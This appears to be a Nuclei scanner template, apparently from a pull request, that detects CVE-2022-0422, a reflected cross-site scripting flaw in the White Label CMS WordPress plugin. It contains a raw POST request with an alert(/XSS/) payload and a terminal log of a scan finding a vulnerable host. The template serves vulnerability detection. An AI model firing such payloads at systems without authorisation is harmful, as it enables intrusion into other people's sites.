White Label MS < 2.2.9 - Reflected Cross-Site Scripting

id: CVE-2022-0422

info:
  name: White Label MS < 2.2.9 - Reflected Cross-Site Scripting
  author: random-robbie
  severity: medium
  description: The plugin does not sanitise and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing, leading to a Reflected Cross-Site Scripting issue
    back in the response, leading to reflected cross-site scripting.
  reference:
    - https://wpscan.com/vulnerability/429be4eb-8a6b-4531-9465-9ef0d35c12cc
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0422
  tags: cve,cve2022,wordpress,xss,wp-plugin,authenticated

requests:
  - raw:
      - |
        POST /wp-login.php?wlcms-action=preview HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 51
        Upgrade-Insecure-Requests: 1
        Sec-Fetch-Dest: document
        Sec-Fetch-Mode: navigate
        Sec-Fetch-Site: cross-site
        Sec-Fetch-User: ?1
        Te: trailers
        Connection: close

        wlcms%5B_login_custom_js%5D=alert%28%2FXSS%2F%29%3B

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(/XSS/);"

      - type: word
        part: body
        words:
          - "wlcms-login-wrapper"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

[2022-04-26T11:25:39Z] rwiggins@MBP-3623:/tmp$ nuclei -t lms.yaml -l word.txt

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   2.6.9

        projectdiscovery.io

[WRN] Use with caution. You are responsible for your actions.
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[INF] Using Nuclei Engine 2.6.9 (latest)
[INF] Using Nuclei Templates 8.9.7 (latest)
[INF] Templates added in last update: 58
[INF] Templates loaded for scan: 1
[2022-04-26 12:26:11] [CVE-2022-0422] [http] [medium] https://xxxx/wp-login.php?wlcms-action=preview

projectdiscovery / nuclei-templates

White Label MS < 2.2.9 - Reflected Cross-Site Scripting #4244